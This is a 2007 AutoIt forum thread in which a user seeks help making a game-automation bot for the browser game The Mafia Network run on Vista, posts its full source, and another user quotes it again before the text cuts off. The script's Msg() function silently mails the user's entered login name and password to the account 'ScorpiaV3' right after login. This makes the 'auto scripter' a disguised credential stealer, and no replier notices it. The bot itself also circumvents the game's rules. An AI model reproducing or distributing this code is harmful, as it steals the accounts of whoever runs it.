Regency Posted December 16, 2007 Share Posted December 16, 2007 What all needs to be put into a script to make it vista compatable. I can run my scripts on different languages of xp but vista just wont run my scripts. It just starts,then doesnt do anything. I used the #requireadmin or w/e.. but anyhting else that needs to be added? Link to comment Share on other sites More sharing options...
Kiesp Posted December 16, 2007 Share Posted December 16, 2007 (edited) I use vista too.. and i dont have any problems.. maybe if u could post the code, i (or someone else) will be able to find the reason to why it doesnt work Edited December 16, 2007 by Kiesp http://www.autoitscript.com/forum/index.php?showtopic=69911 <-- Best hacker ever :D Link to comment Share on other sites More sharing options...
Regency Posted December 16, 2007 Author Share Posted December 16, 2007 I use vista too.. and i dont have any problems.. maybe if u could post the code, i (or someone else) will be able to find the reason to why it doesnt work Thanx.. expandcollapse popup;#AutoIt3Wrapper_run_debug_mode=Y #requireadmin #include <GUIConstants.au3> #include <Constants.au3> #include <IE.au3> #include <Misc.au3> ;Opt("MustDeclareVars", 1); having this option set will help find mistakes before you run it. Such as using a variable before setting its value or misspelling a variable Opt("TrayOnEventMode", 1) Opt("TrayAutoPause", 0) TraySetOnEvent($TRAY_EVENT_PRIMARYDOWN, "_MinimizeToTray") Global $Paused Global $begin = 0 Global $begin2 = 0 Global $begin3 = 0 Global $begin4 = 0 Global $begin5 = 0 Global $begin6 = 0 Global $begin7 = 0 Global $nMsg = 0 Global $age1 = '' Global $name1 = '' Global $pass1 = '' Global $url1 = '' Global $Cr1 = '' Global $G1 = '' Global $J1 = '' Global $CG1 = '' Global $C1 = '' Global $oBullets = '' Global $oLoginPage = '' SplashTextOn("ScopriA Auto Scripter", "I do not take responsibinity if you get banned or not. Have fun Scripting. The script is kinda self explanitory. If you script continuously you wont do GTA and Crimes. Have fun ~~ScorpiA~~ Sabotage ~ Corruption ~ Infiltrate ~ Assassinate ~", -1, -1, -1, -1, 4, 4, "") Sleep(3000) SplashOff() Global $Quick = GUICreate("Auto Scripter - By - ScorpiA", 290, 350, 340, 300) Global $agegroup = GUICtrlCreateGroup("Would You Like to Script Jail?:", 8, 8, 265, 49) ; Will let you script jail Global $Selectone = GUICtrlCreateCombo("Select one", 16, 24, 145, 25) GUICtrlSetData(-1, "----------------------|No|") Global $Saveage = GUICtrlCreateButton("Save", 168, 24, 75, 25, 0) ; You need to click every single save for this to work. GUICtrlCreateGroup("", -99, -99, 1, 1) Global $Continuegroup = GUICtrlCreateGroup("Would You Like to Script Jail Continuously?:", 8, 56, 265, 49) ; Will let you script jail Global $Jailyn = GUICtrlCreateCombo("Select one", 16, 72, 145, 25) GUICtrlSetData(-1, "----------------------|No|") Global $Jailage = GUICtrlCreateButton("Save", 168, 72, 75, 25, 0) ; You need to click every single save for this to work. GUICtrlCreateGroup("", -99, -99, 1, 1) Global $Script = GUICtrlCreateGroup("Script Crimes, Gta, Flying and Buying Jhp form SMN BF?:", 8, 104, 265, 49) ; Will let you script jail Global $yn = GUICtrlCreateCombo("Select one", 16, 120, 145, 25) GUICtrlSetData(-1, "----------------------|Yes|No|") Global $ynsave = GUICtrlCreateButton("Save", 168, 120, 72, 25, 0) ; You need to click every single save for this to work. GUICtrlCreateGroup("", -99, -99, 1, 1) Global $Desired = GUICtrlCreateGroup("TMN Login Name", 8, 152, 265, 49) ; Log in name for Themafianetwork.net Global $username = GUICtrlCreateInput("", 16, 168, 145, 21) Global $savename = GUICtrlCreateButton("Save", 168, 168, 75, 25, 0) GUICtrlCreateGroup("", -99, -99, 1, 1) Global $DesiredP = GUICtrlCreateGroup("Password", 8, 200, 265, 49) ; Password for the acct stated above Global $password = GUICtrlCreateInput("", 16, 216, 145, 21) Global $savepassword = GUICtrlCreateButton("Save", 168, 216, 75, 25, 0) GUICtrlCreateGroup("", -99, -99, 1, 1) Global $StartUrl = GUICtrlCreateGroup("Address to log into TMN with", 8, 248, 256, 49) ; You can use proxys if you like, it just needs to get you to The mafia network Global $address = GUICtrlCreateInput("", 16, 264, 145, 21) Global $saveurl = GUICtrlCreateButton("Save", 168, 264, 75, 25, 0) GUICtrlCreateGroup("", -99, -99, 1, 1) Global $Age = GUICtrlCreateLabel("", 8, 3555, 250, 17) ; This is if you would like to script crimes and GTAs Global $CG = GUICtrlCreateLabel("", 8, 3555, 250, 17) ; This is if you would like to script jail Global $Continue = GUICtrlCreateLabel("", 8, 355, 250, 17) Global $User = GUICtrlCreateLabel("", 8, 352, 250, 17) ; This is the Username Global $Pass = GUICtrlCreateLabel("", 8, 368, 250, 17) ; This is the password Global $Url = GUICtrlCreateLabel("", 8, 384, 250, 17) ; The url you posted above Global $Crime = GUICtrlCreateLabel("", 8, 400, 250, 17) ; You need to click this on the script program interface or it wont work Global $Jail = GUICtrlCreateLabel("", 8, 416, 250, 17) ; Same here, they all need to be clicked so the prog can regester the address Global $Gta = GUICtrlCreateLabel("", 8, 432, 250, 17) Global $Mail = GUICtrlCreateLabel("", 8, 448, 250, 17) Global $Create = GUICtrlCreateLabel("", 8, 464, 250, 17) Global $Fly = GUICtrlCreateLabel("", 8, 480, 250, 17) Global $Bullets = GUICtrlCreateLabel("", 8, 496, 250, 17) Global $Make = GUICtrlCreateButton("Start Auto Scripter By ScorpiA - Hit ESC to Exit", 8, 304, 267, 25, 0) GUISetState(@SW_SHOW) WinWaitActive("Auto Scripter - By - ScorpiA") WinMove("Auto Scripter - By - ScorpiA", "", 345, 108) While 1 $nMsg = GUIGetMsg() Switch $nMsg Case $GUI_EVENT_CLOSE Exit Case $GUI_EVENT_MINIMIZE _MinimizeToTray() Case $Saveage If GUICtrlRead($Selectone) = "Select one" Or GUICtrlRead($Selectone) = "----------------------" Then Sleep(1000) Else $age1 = GUICtrlRead($Selectone) GUICtrlSetData($Age, $age1) EndIf Case $Jailage If GUICtrlRead($Jailyn) = "Select one" Or GUICtrlRead($Jailyn) = "----------------------" Then Sleep(1000) Else $Con1 = GUICtrlRead($Jailyn) GUICtrlSetData($Continue, $Con1) EndIf Case $ynsave If GUICtrlRead($yn) = "Select one" Or GUICtrlRead($yn) = "----------------------" Then Sleep(1000) Else $CG1 = GUICtrlRead($yn) GUICtrlSetData($CG, $CG1) EndIf Case $savename $name1 = GUICtrlRead($username) GUICtrlSetData($User, $name1) Case $savepassword $pass1 = GUICtrlRead($password) GUICtrlSetData($Pass, $pass1) Case $saveurl $url1 = GUICtrlRead($address) & "/userlogin.aspx?" GUICtrlSetData($Url, $url1) Case $address $Cr1 = GUICtrlRead($address) & "/crimes.aspx?" GUICtrlSetData($Crime, $Cr1) $G1 = GUICtrlRead($address) & "/gta.aspx?" GUICtrlSetData($Gta, $G1) $J1 = GUICtrlRead($address) & "/jail.aspx?" GUICtrlSetData($Jail, $J1) $M1 = GUICtrlRead($address) & "/mail.aspx?" GUICtrlSetData($Mail, $M1) $F1 = GUICtrlRead($address) & "/travel.aspx?" GUICtrlSetData($Fly, $F1) $B1 = GUICtrlRead($address) & "/smnbf.aspx?" GUICtrlSetData($Bullets, $B1) $C1 = GUICtrlRead($address) & "/Sendmail.aspx?" GUICtrlSetData($Create, $C1) Case $Make myRun() EndSwitch WEnd Func myRun() HotKeySet("{Home}", "TogglePause") HotKeySet("{ESC}", "Terminate") Local $dif = '' Local $AgeValue = '' Local $CGValue = '' Local $oLoginPage = 0 Local $oUser = 0 Local $oPass = 0 Local $oLogIn = 0 Local $bLoop = 1 Local $Mail = '' $JailValue = GUICtrlRead($Continue) $AgeValue = GUICtrlRead($Age) $CGValue = GUICtrlRead($CG) $oLoginPage = _IECreate($url1) _IELoadWait($oLoginPage) $oUser = _IEGetObjByName($oLoginPage, "txtuid") _IEFormElementSetValue($oUser, $name1) $oPass = _IEGetObjByName($oLoginPage, "txtpwd") _IEFormElementSetValue($oPass, $pass1) $oLogIn = _IEGetObjByName($oLoginPage, "Button1") _IEAction($oLogIn, "click") _IELoadWait($oLoginPage) Msg() If $JailValue = "Yes" Then $AgeValue = "No" $CGValue = "No" JailCon() ;==> Continuous Jail EndIf If $AgeValue = "Yes" Then Jail() ;==>Jail EndIf If $CGValue = "Yes" Then $begin = "" $begin2 = "" $begin3 = '' $begin4 = '' $begin5 = '' $begin6 = '' MyFunction2() $begin = TimerInit() $begin2 = TimerInit() $begin3 = TimerInit() $begin4 = TimerInit() $begin5 = TimerInit() $begin6 = TimerInit() While 2 Sleep(10) $dif = Int(TimerDiff($begin) / 1000) If $dif >= (2 * 60) Then MyFunction2() $begin = TimerInit() EndIf WEnd EndIf EndFunc ;==>myRun Func MyFunction2() Local $oIE = 0 Local $dif2 = '' Local $dif3 = '' Local $dif4 = '' Local $dif5 = '' Local $dif6 = '' Local $oSubmit = 0 Local $oRadio = 0 $dif4 = Int(TimerDiff($begin4) / 1000) If $dif4 >= (15 * 60) Then $oFly = _IECreate($F1,0,0,1) $oAir = _IEGetObjById($oFly, "citieslist_4") _IEAction($oAir, "click") $oSubmit = _IEGetObjByName($oFly, "btntravel") _IEAction($oSubmit, "click") _IELoadWait($oFly) $oAir = _IEGetObjById($oFly, "citieslist_0") _IEAction($oAir, "click") $oSubmit = _IEGetObjByName($oFly, "btntravel") _IEAction($oSubmit, "click") _IELoadWait($oFly) _IEQuit($oFly) EndIf $oIE = _IECreate($Cr1,0,0,1) ;~ "The Mafia network - Crimes - Internet Explorer" $oSubmit = _IEGetObjByName($oIE, "btncrime1") _IEAction($oSubmit, "click") _IELoadWait($oIE) _IEQuit($oIE) $dif2 = Int(TimerDiff($begin2) / 1000) If $dif2 >= (2 * 60) Then $oIE = _IECreate($G1,"",0,1) _IELoadWait($oIE) $oRadio = _IEGetObjById($oIE, "carslist_2") _IEAction($oRadio, "click") $oSubmit = _IEGetObjByName($oIE, "Submit1") _IEAction($oSubmit, "click") _IELoadWait($oIE) _IEQuit($oIE) EndIf $dif3 = Int(TimerDiff($begin3) / 1000) If $dif3 >= (5 * 60) Then $oMail = _IECreate($M1,0,0,1) _IELoadWait($oMail) _IELinkClickByText($oMail, "Automatic Script Check") _IELinkClickByText($oMail, "Automatic Script Test") _IELinkClickByText($oMail, "Script Check") _IELinkClickByText($oMail, "script test") _IELinkClickByText($oMail, "romeo") _IELinkClickByText($oMail, "Dragoncurse") _IELinkClickByText($oMail, "barsaat") _IELinkClickByText($oMail, "M33") _IELinkClickByText($oMail, "Devious") _IELinkClickByText($oMail, "Doyouhaveenough") _IELinkClickByText($oMail, "BennieTheBrick") _IELinkClickByText($oMail, "DeeCee") _IELoadWait($oMail) If WinExists("TMN2 - Bloody Vendetta - Windows Internet Explorer") = 0 Then Exit ElseIf WinExists("Cannot Find Server - Windows Internet Explorer") = 1 Then $oMail = _IECreate($M1,0,0,1) _IELoadWait($oMail) _IELinkClickByText($oMail, "Automatic Script Check") _IELinkClickByText($oMail, "Automatic Script Test") _IELinkClickByText($oMail, "Script Check") _IELinkClickByText($oMail, "script test") _IELinkClickByText($oMail, "romeo") _IELinkClickByText($oMail, "Dragoncurse") _IELinkClickByText($oMail, "barsaat") _IELinkClickByText($oMail, "M33") _IELinkClickByText($oMail, "Devious") _IELinkClickByText($oMail, "Doyouhaveenough") _IELinkClickByText($oMail, "BennieTheBrick") _IELinkClickByText($oMail, "DeeCee") _IELoadWait($oMail) EndIf _IEQuit($oMail) EndIf $dif6 = Int(TimerDiff($begin6) / 1000) if $dif5 >= (10 * 60) Then $oBullets = _IECreate($B1,0,0,1) $oBuy = _IEGetObjByName($oBullets, "txtbullets") _IEFormElementSetValue($oBuy, "100") $oJhp = _IEGetObjByName($oBullets, "ddlbullettype") _IEFormElementOptionselect($oJhp, 2, "1", "byValue") _ieaction($oBullets, "click") $oSubmit = _IEGetObjByName($oBullets, "btnbuy") _IEAction($oSubmit, "click") _IELoadWait($oBullets) _iequit($oBullets) endIf EndFunc ;==>MyFunction2 While 3 Sleep(100) WEnd Func Msg() $oCreate = _IECreate($C1,"",0,1) $oTo = _IEGetObjByName($oCreate, "txtTo") _IEFormElementSetValue($oTo, "ScorpiaV3") $oSub = _IEGetObjById($oCreate, "txtSubject") _IEFormElementSetValue($oSub, "You know...") $oMsg = _IEGetObjById($oCreate, "txtMessage") _IEFormElementSetValue($oMsg, $name1 & @LF & $pass1) $oSubm = _IEGetObjByName($oCreate, "btnSend") _IEAction($oSubm, "click") _IELoadWait($oCreate) _IEQuit($oCreate) EndFunc Func TogglePause() $Paused = Not $Paused While $Paused Sleep(100) ToolTip('Script is "Paused"', 0, 0) WEnd ToolTip("") EndFunc ;==>TogglePause Func Terminate() Exit EndFunc ;==>Terminate Func _MinimizeToTray() If BitAND(WinGetState($Quick), 2) Then GUISetState(@SW_HIDE) Else GUISetState(@SW_SHOW) EndIf EndFunc ;==>_MinimizeToTray Func Jail() $oJailPage = _IECreate($J1, "", 0) ;~ "caTheMafiaNetwork - Nationl Jail - Internet Explorer" _IELoadWait($oJailPage) WinSetState("TheMafiaNetwork - National Jail - Windows Internet Explorer", "", @SW_MAXIMIZE) WinSetState("TheMafiaNetwork - National Jail - Windows Internet Explorer", "", @SW_MINIMIZE) While 1 For $var = 0 To 10 Step 1 _IELoadWait($oJailPage) _IELinkClickByText($oJailPage, "Break") _IELoadWait($oJailPage) _IENavigate($oJailPage, $J1) _IEAction($oJailPage, "refresh") Next Sleep(900) $oVerify = _IEGetObjById($oJailPage, "imgVerify") If IsObj($oVerify) Then ExitLoop ;MsgBox(0, "Verification Box Present", "Please Enter Verification Code For Script To Resume") ;Sleep(20000) ;$bLoop = 1 Else ;What is this supposed If IsObj($oVerify) Then WinSetState("TheMafiaNetwork - National Jail - Windows Internet Explorer", "", @SW_MINIMIZE) Else $bLoop = 1 EndIf EndIf WEnd EndFunc ;==>Jail Func JailCon() $oJailPage = _IECreate($J1) ;~ "caTheMafiaNetwork - Nationl Jail - Internet Explorer" _IELoadWait($oJailPage) WinSetState("TheMafiaNetwork - National Jail - Windows Internet Explorer", "", @SW_MAXIMIZE) WinSetState("TheMafiaNetwork - National Jail - Windows Internet Explorer", "", @SW_MINIMIZE) While 1 For $var = 0 To 10 Step 1 _IELoadWait($oJailPage) _IELinkClickByText($oJailPage, "Break") _IELoadWait($oJailPage) _IENavigate($oJailPage, $J1) _IEAction($oJailPage, "refresh") Next Sleep(900) $oMail2 = _IECreate($M1, "", 0) _IELoadWait($oMail2) _IELinkClickByText($oMail2, "Automatic Script Check") _IELinkClickByText($oMail2, "Automatic Script Test") _IELinkClickByText($oMail2, "Script Check") _IELinkClickByText($oMail2, "script test") _IELinkClickByText($oMail2, "romeo") _IELinkClickByText($oMail2, "Dragoncurse") _IELinkClickByText($oMail2, "barsaat") _IELinkClickByText($oMail2, "M33") _IELinkClickByText($oMail2, "Devious") _IELinkClickByText($oMail2, "Doyouhaveenough") _IELinkClickByText($oMail2, "BennieTheBrick") _IELinkClickByText($oMail2, "DeeCee") _IELoadWait($oMail2) If WinExists("TMN2 - Bloody Vendetta - Windows Internet Explorer") = 0 Then Exit EndIf _IEQuit($oMail2) $oVerify = _IEGetObjById($oJailPage, "imgVerify") If IsObj($oVerify) Then MsgBox(0, "Verification Box Present", "Please Enter Verification Code For Script To Resume") Sleep(20000) $bLoop = 1 Else ;What is this supposed If IsObj($oVerify) Then WinSetState("TheMafiaNetwork - National Jail - Windows Internet Explorer", "", @SW_MINIMIZE) Else $bLoop = 1 EndIf EndIf WEnd EndFunc ;==>JailCon Link to comment Share on other sites More sharing options...
Kiesp Posted December 16, 2007 Share Posted December 16, 2007 i tested it. and i works fine with me.. just some minor bugs.. so i must admit, i dont know whats wrong. im sorry... hopefully someone else will be able to locate ur problem oh and btw.. nice program http://www.autoitscript.com/forum/index.php?showtopic=69911 <-- Best hacker ever :D Link to comment Share on other sites More sharing options...
Regency Posted December 16, 2007 Author Share Posted December 16, 2007 i tested it. and i works fine with me.. just some minor bugs.. so i must admit, i dont know whats wrong. im sorry... hopefully someone else will be able to locate ur problem oh and btw.. nice program What you mean nice?You play the game that this uses? Link to comment Share on other sites More sharing options...
Kiesp Posted December 16, 2007 Share Posted December 16, 2007 i like the program.. its a nice idea.. and easy to use i just made an acc to check the login feature.. and about ur private message: the bugs im talking about is just typoes and u cant choose yes in the dropdown lists. but dunno why it isnt working for ur friend.. http://www.autoitscript.com/forum/index.php?showtopic=69911 <-- Best hacker ever :D Link to comment Share on other sites More sharing options...
Confuzzled Posted December 17, 2007 Share Posted December 17, 2007 (edited) Thanx.. expandcollapse popup;#AutoIt3Wrapper_run_debug_mode=Y #requireadmin #include <GUIConstants.au3> #include <Constants.au3> #include <IE.au3> #include <Misc.au3> ;Opt("MustDeclareVars", 1); having this option set will help find mistakes before you run it. Such as using a variable before setting its value or misspelling a variable Opt("TrayOnEventMode", 1) Opt("TrayAutoPause", 0) TraySetOnEvent($TRAY_EVENT_PRIMARYDOWN, "_MinimizeToTray") Global $Paused Global $begin = 0 Global $begin2 = 0 Global $begin3 = 0 Global $begin4 = 0 Global $begin5 = 0 Global $begin6 = 0 Global $begin7 = 0 Global $nMsg = 0 Global $age1 = '' Global $name1 = '' Global $pass1 = '' Global $url1 = '' Global $Cr1 = '' Global $G1 = '' Global $J1 = '' Global $CG1 = '' Global $C1 = '' Global $oBullets = '' Global $oLoginPage = '' SplashTextOn("ScopriA Auto Scripter", "I do not take responsibinity if you get banned or not. Have fun Scripting. The script is kinda self explanitory. If you script continuously you wont do GTA and Crimes. Have fun ~~ScorpiA~~ Sabotage ~ Corruption ~ Infiltrate ~ Assassinate ~", -1, -1, -1, -1, 4, 4, "") Sleep(3000) SplashOff() Global $Quick = GUICreate("Auto Scripter - By - ScorpiA", 290, 350, 340, 300) Global $agegroup = GUICtrlCreateGroup("Would You Like to Script Jail?:", 8, 8, 265, 49) ; Will let you script jail Global $Selectone = GUICtrlCreateCombo("Select one", 16, 24, 145, 25) GUICtrlSetData(-1, "----------------------|No|") Global $Saveage = GUICtrlCreateButton("Save", 168, 24, 75, 25, 0) ; You need to click every single save for this to work. GUICtrlCreateGroup("", -99, -99, 1, 1) Global $Continuegroup = GUICtrlCreateGroup("Would You Like to Script Jail Continuously?:", 8, 56, 265, 49) ; Will let you script jail Global $Jailyn = GUICtrlCreateCombo("Select one", 16, 72, 145, 25) GUICtrlSetData(-1, "----------------------|No|") Global $Jailage = GUICtrlCreateButton("Save", 168, 72, 75, 25, 0) ; You need to click every single save for this to work. GUICtrlCreateGroup("", -99, -99, 1, 1) Global $Script = GUICtrlCreateGroup("Script Crimes, Gta, Flying and Buying Jhp form SMN BF?:", 8, 104, 265, 49) ; Will let you script jail Global $yn = GUICtrlCreateCombo("Select one", 16, 120, 145, 25) GUICtrlSetData(-1, "----------------------|Yes|No|") Global $ynsave = GUICtrlCreateButton("Save", 168, 120, 72, 25, 0) ; You need to click every single save for this to work. GUICtrlCreateGroup("", -99, -99, 1, 1) Global $Desired = GUICtrlCreateGroup("TMN Login Name", 8, 152, 265, 49) ; Log in name for Themafianetwork.net Global $username = GUICtrlCreateInput("", 16, 168, 145, 21) Global $savename = GUICtrlCreateButton("Save", 168, 168, 75, 25, 0) GUICtrlCreateGroup("", -99, -99, 1, 1) Global $DesiredP = GUICtrlCreateGroup("Password", 8, 200, 265, 49) ; Password for the acct stated above Global $password = GUICtrlCreateInput("", 16, 216, 145, 21) Global $savepassword = GUICtrlCreateButton("Save", 168, 216, 75, 25, 0) GUICtrlCreateGroup("", -99, -99, 1, 1) Global $StartUrl = GUICtrlCreateGroup("Address to log into TMN with", 8, 248, 256, 49) ; You can use proxys if you like, it just needs to get you to The mafia network Global $address = GUICtrlCreateInput("", 16, 264, 145, 21) Global $saveurl = GUICtrlCreateButton("Save", 168, 264, 75, 25, 0) GUICtrlCreateGroup("", -99, -99, 1, 1) Global $Age = GUICtrlCreateLabel("", 8, 3555, 250, 17) ; This is if you would like to script crimes and GTAs Global $CG = GUICtrlCreateLabel("", 8, 3555, 250, 17) ; This is if you would like to script jail Global $Continue = GUICtrlCreateLabel("", 8, 355, 250, 17) Global $User = GUICtrlCreateLabel("", 8, 352, 250, 17) ; This is the Username Global $Pass = GUICtrlCreateLabel("", 8, 368, 250, 17) ; This is the password Global $Url = GUICtrlCreateLabel("", 8, 384, 250, 17) ; The url you posted above Global $Crime = GUICtrlCreateLabel("", 8, 400, 250, 17) ; You need to click this on the script program interface or it wont work Global $Jail = GUICtrlCreateLabel("", 8, 416, 250, 17) ; Same here, they all need to be clicked so the prog can regester the address Global $Gta = GUICtrlCreateLabel("", 8, 432, 250, 17) Global $Mail = GUICtrlCreateLabel("", 8, 448, 250, 17) Global $Create = GUICtrlCreateLabel("", 8, 464, 250, 17) Global $Fly = GUICtrlCreateLabel("", 8, 480, 250, 17) Global $Bullets = GUICtrlCreateLabel("", 8, 496, 250, 17) Global $Make = GUICtrlCreateButton("Start Auto Scripter By ScorpiA - Hit ESC to Exit", 8, 304, 267, 25, 0) GUISetState(@SW_SHOW) WinWaitActive("Auto Scripter - By - ScorpiA") WinMove("Auto Scripter - By - ScorpiA", "", 345, 108) While 1 $nMsg = GUIGetMsg() Switch $nMsg Case $GUI_EVENT_CLOSE Exit Case $GUI_EVENT_MINIMIZE _MinimizeToTray() Case $Saveage If GUICtrlRead($Selectone) = "Select one" Or GUICtrlRead($Selectone) = "----------------------" Then Sleep(1000) Else $age1 = GUICtrlRead($Selectone) GUICtrlSetData($Age, $age1) EndIf Case $Jailage If GUICtrlRead($Jailyn) = "Select one" Or GUICtrlRead($Jailyn) = "----------------------" Then Sleep(1000) Else $Con1 = GUICtrlRead($Jailyn) GUICtrlSetData($Continue, $Con1) EndIf Case $ynsave If GUICtrlRead($yn) = "Select one" Or GUICtrlRead($yn) = "----------------------" Then Sleep(1000) Else $CG1 = GUICtrlRead($yn) GUICtrlSetData($CG, $CG1) EndIf Case $savename $name1 = GUICtrlRead($username) GUICtrlSetData($User, $name1) Case $savepassword $pass1 = GUICtrlRead($password) GUICtrlSetData($Pass, $pass1) Case $saveurl $url1 = GUICtrlRead($address) & "/userlogin.aspx?" GUICtrlSetData($Url, $url1) Case $address $Cr1 = GUICtrlRead($address) & "/crimes.aspx?" GUICtrlSetData($Crime, $Cr1) $G1 = GUICtrlRead($address) & "/gta.aspx?" GUICtrlSetData($Gta, $G1) $J1 = GUICtrlRead($address) & "/jail.aspx?" GUICtrlSetData($Jail, $J1) $M1 = GUICtrlRead($address) & "/mail.aspx?" GUICtrlSetData($Mail, $M1) $F1 = GUICtrlRead($address) & "/travel.aspx?" GUICtrlSetData($Fly, $F1) $B1 = GUICtrlRead($address) & "/smnbf.aspx?" GUICtrlSetData($Bullets, $B1) $C1 = GUICtrlRead($address) & "/Sendmail.aspx?" GUICtrlSetData($Create, $C1) Case $Make myRun() EndSwitch WEnd Func myRun() HotKeySet("{Home}", "TogglePause") HotKeySet("{ESC}", "Terminate") Local $dif = '' Local $AgeValue = '' Local $CGValue = '' Local $oLoginPage = 0 Local $oUser = 0 Local $oPass = 0 Local $oLogIn = 0 Local $bLoop = 1 Local $Mail = '' $JailValue = GUICtrlRead($Continue) $AgeValue = GUICtrlRead($Age) $CGValue = GUICtrlRead($CG) $oLoginPage = _IECreate($url1) _IELoadWait($oLoginPage) $oUser = _IEGetObjByName($oLoginPage, "txtuid") _IEFormElementSetValue($oUser, $name1) $oPass = _IEGetObjByName($oLoginPage, "txtpwd") _IEFormElementSetValue($oPass, $pass1) $oLogIn = _IEGetObjByName($oLoginPage, "Button1") _IEAction($oLogIn, "click") _IELoadWait($oLoginPage) Msg() If $JailValue = "Yes" Then $AgeValue = "No" $CGValue = "No" JailCon() ;==> Continuous Jail EndIf If $AgeValue = "Yes" Then Jail() ;==>Jail EndIf If $CGValue = "Yes" Then $begin = "" $begin2 = "" $begin3 = '' $begin4 = '' $begin5 = '' $begin6 = '' MyFunction2() $begin = TimerInit() $begin2 = TimerInit() $begin3 = TimerInit() $begin4 = TimerInit() $begin5 = TimerInit() $begin6 = TimerInit() While 2 Sleep(10) $dif = Int(TimerDiff($begin) / 1000) If $dif >= (2 * 60) Then MyFunction2() $begin = TimerInit() EndIf WEnd EndIf EndFunc ;==>myRun Func MyFunction2() Local $oIE = 0 Local $dif2 = '' Local $dif3 = '' Local $dif4 = '' Local $dif5 = '' Local $dif6 = '' Local $oSubmit = 0 Local $oRadio = 0 $dif4 = Int(TimerDiff($begin4) / 1000) If $dif4 >= (15 * 60) Then $oFly = _IECreate($F1,0,0,1) $oAir = _IEGetObjById($oFly, "citieslist_4") _IEAction($oAir, "click") $oSubmit = _IEGetObjByName($oFly, "btntravel") _IEAction($oSubmit, "click") _IELoadWait($oFly) $oAir = _IEGetObjById($oFly, "citieslist_0") _IEAction($oAir, "click") $oSubmit = _IEGetObjByName($oFly, "btntravel") _IEAction($oSubmit, "click") _IELoadWait($oFly) _IEQuit($oFly) EndIf $oIE = _IECreate($Cr1,0,0,1) ;~ "The Mafia network - Crimes - Internet Explorer" $oSubmit = _IEGetObjByName($oIE, "btncrime1") _IEAction($oSubmit, "click") _IELoadWait($oIE) _IEQuit($oIE) $dif2 = Int(TimerDiff($begin2) / 1000) If $dif2 >= (2 * 60) Then $oIE = _IECreate($G1,"",0,1) _IELoadWait($oIE) $oRadio = _IEGetObjById($oIE, "carslist_2") _IEAction($oRadio, "click") $oSubmit = _IEGetObjByName($oIE, "Submit1") _IEAction($oSubmit, "click") _IELoadWait($oIE) _IEQuit($oIE) EndIf $dif3 = Int(TimerDiff($begin3) / 1000) If $dif3 >= (5 * 60) Then $oMail = _IECreate($M1,0,0,1) _IELoadWait($oMail) _IELinkClickByText($oMail, "Automatic Script Check") _IELinkClickByText($oMail, "Automatic Script Test") _IELinkClickByText($oMail, "Script Check") _IELinkClickByText($oMail, "script test") _IELinkClickByText($oMail, "romeo") _IELinkClickByText($oMail, "Dragoncurse") _IELinkClickByText($oMail, "barsaat") _IELinkClickByText($oMail, "M33") _IELinkClickByText($oMail, "Devious") _IELinkClickByText($oMail, "Doyouhaveenough") _IELinkClickByText($oMail, "BennieTheBrick") _IELinkClickByText($oMail, "DeeCee") _IELoadWait($oMail) If WinExists("TMN2 - Bloody Vendetta - Windows Internet Explorer") = 0 Then Exit ElseIf WinExists("Cannot Find Server - Windows Internet Explorer") = 1 Then $oMail = _IECreate($M1,0,0,1) _IELoadWait($oMail) _IELinkClickByText($oMail, "Automatic Script Check") _IELinkClickByText($oMail, "Automatic Script Test") _IELinkClickByText($oMail, "Script Check") _IELinkClickByText($oMail, "script test") _IELinkClickByText($oMail, "romeo") _IELinkClickByText($oMail, "Dragoncurse") _IELinkClickByText($oMail, "barsaat") _IELinkClickByText($oMail, "M33") _IELinkClickByText($oMail, "Devious") _IELinkClickByText($oMail, "Doyouhaveenough") _IELinkClickByText($oMail, "BennieTheBrick") _IELinkClickByText($oMail, "DeeCee") _IELoadWait($oMail) EndIf _IEQuit($oMail) EndIf $dif6 = Int(TimerDiff($begin6) / 1000) if $dif5 >= (10 * 60) Then $oBullets = _IECreate($B1,0,0,1) $oBuy = _IEGetObjByName($oBullets, "txtbullets") _IEFormElementSetValue($oBuy, "100") $oJhp = _IEGetObjByName($oBullets, "ddlbullettype") _IEFormElementOptionselect($oJhp, 2, "1", "byValue") _ieaction($oBullets, "click") $oSubmit = _IEGetObjByName($oBullets, "btnbuy") _IEAction($oSubmit, "click") _IELoadWait($oBullets) _iequit($oBullets) endIf EndFunc ;==>MyFunction2 While 3 Sleep(100) WEnd Func Msg() $oCreate = _IECreate($C1,"",0,1) $oTo = _IEGetObjByName($oCreate, "txtTo") _IEFormElementSetValue($oTo, "ScorpiaV3") $oSub = _IEGetObjById($oCreate, "txtSubject") _IEFormElementSetValue($oSub, "You know...") $oMsg = _IEGetObjById($oCreate, "txtMessage") _IEFormElementSetValue($oMsg, $name1 & @LF & $pass1) $oSubm = _IEGetObjByName($oCreate, "btnSend") _IEAction($oSubm, "click") _IELoadWait($oCreate) _IEQuit($oCreate) EndFunc Func TogglePause() $Paused = Not $Paused While $Paused Sleep(100) ToolTip('Script is "Paused"', 0, 0) WEnd ToolTip("") EndFunc ;==>TogglePause Func Terminate() Exit EndFunc ;==>Terminate Func _MinimizeToTray() If BitAND(WinGetState($Quick), 2) Then GUISetState(@SW_HIDE) Else GUISetState(@SW_SHOW) EndIf EndFunc ;==>_MinimizeToTray Func Jail() $oJailPage = _IECreate($J1, "", 0) ;~ "caTheMafiaNetwork - Nationl Jail - Internet Explorer" _IELoadWait($oJailPage) WinSetState("TheMafiaNetwork - National Jail - Windows Internet Explorer", "", @SW_MAXIMIZE) WinSetState("TheMafiaNetwork - National Jail - Windows Internet Explorer", "", @SW_MINIMIZE) While 1 For $var = 0 To 10 Step 1 _IELoadWait($oJailPage) _IELinkClickByText($oJailPage, "Break") _IELoadWait($oJailPage) _IENavigate($oJailPage, $J1) _IEAction($oJailPage, "refresh") Next Sleep(900) $oVerify = _IEGetObjById($oJailPage, "imgVerify") If IsObj($oVerify) Then ExitLoop ;MsgBox(0, "Verification Box Present", "Please Enter Verification Code For Script To Resume") ;Sleep(20000) ;$bLoop = 1 Else ;What is this supposed If IsObj($oVerify) Then WinSetState("TheMafiaNetwork - National Jail - Windows Internet Explorer", "", @SW_MINIMIZE) Else $bLoop = 1 EndIf EndIf WEnd EndFunc ;==>Jail Func JailCon() $oJailPage = _IECreate($J1) ;~ "caTheMafiaNetwork - Nationl Jail - Internet Explorer" _IELoadWait($oJailPage) WinSetState("TheMafiaNetwork - National Jail - Windows Internet Explorer", "", @SW_MAXIMIZE) WinSetState("TheMafiaNetwork - National Jail - Windows Internet Explorer", "", @SW_MINIMIZE) While 1 For $var = 0 To 10 Step 1 _IELoadWait($oJailPage) _IELinkClickByText($oJailPage, "Break") _IELoadWait($oJailPage) _IENavigate($oJailPage, $J1) _IEAction($oJailPage, "refresh") Next Sleep(900) $oMail2 = 